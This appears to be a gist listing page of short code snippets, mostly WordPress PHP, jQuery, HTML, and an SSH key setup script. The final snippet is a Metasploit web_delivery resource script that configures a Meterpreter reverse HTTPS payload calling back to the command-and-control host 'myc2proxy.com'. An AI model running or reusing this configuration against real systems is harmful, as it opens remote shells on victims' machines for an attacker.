This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if( genesis_has_post_type_archive_support() ){ | |
$intro_text = genesis_get_cpt_option( 'intro_text' ); | |
if( !empty( $intro_text ) ){ | |
echo apply_filters( 'genesis_term_intro_text_output', $intro_text ); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global $post; | |
$pageID = $post->ID; | |
$args = array( | |
'parent' => 0, | |
'sort_order' => 'ASC', | |
'sort_column' => 'menu_order', | |
); | |
$pagelist = get_pages( $args ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action( 'after_setup_theme', 'remove_parent_theme_features', 10 ); | |
function remove_parent_theme_features(){ | |
// remove shortcode from parent theme | |
remove_shortcode( 'example' ); | |
// replace with child theme shortcode callback | |
add_shortcode( 'example', 'child_theme_example_callback' ); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
cd .ssh | |
ssh-keygen -trsa -fid_rsa | |
ssh-keyscan -t rsa _REMOTE_REPO_HOST_ >> known_hosts |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if ( isset( $_SERVER['HTTP_USER_AGENT'] ) && ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) !== false ) ) | |
header('X-UA-Compatible: IE=edge,chrome=1'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<table> | |
<caption>Wafer Fab</caption> | |
<colgroup> | |
<col style="width: 25%;" /> | |
<col style="width: 25%;" /> | |
<col style="width: 25%;" /> | |
<col style="width: 25%;" /> | |
</colgroup> | |
<thead> | |
<tr> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'query_vars', 'theme_query_vars' ); | |
/** | |
* Adds variables to $wp->query_vars | |
* | |
* @param array $vars Global WP query vars. | |
* @return array Array used in $wp->query_vars. | |
*/ | |
function theme_query_vars( $vars ){ | |
$vars[] = 'qa'; // "query_action" - used for switch in theme_parse_request() | |
return $vars; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery( function($){ | |
$( 'a.button' ).click( function( e ){ | |
$.post( '?qa=default', { var1: var1, var2: var2 }, function( data ){ | |
console.log( '[jQuery AJAX Request] ' + data.message ); | |
}); | |
e.preventDefault(); | |
}); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_shortcode('mcm_recent_feed_posts', 'shortcode_mcm_recent_feed_posts'); | |
/** | |
* shortcode_mcm_recent_feed_posts() - Retrieves posts from RSS feed | |
* | |
* @see fetch_feed() | |
* | |
* @since 1.0.0 | |
* | |
* @param array $atts { | |
* @type string $url RSS feed URL. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use exploit/multi/script/web_delivery | |
set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery | |
set DisablePayloadHandler true | |
set SSL True | |
set TARGET 2 | |
set payload windows/x64/meterpreter/reverse_https | |
set LHOST myc2proxy.com | |
set LPORT 443 | |
set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned | |
run -j |
OlderNewer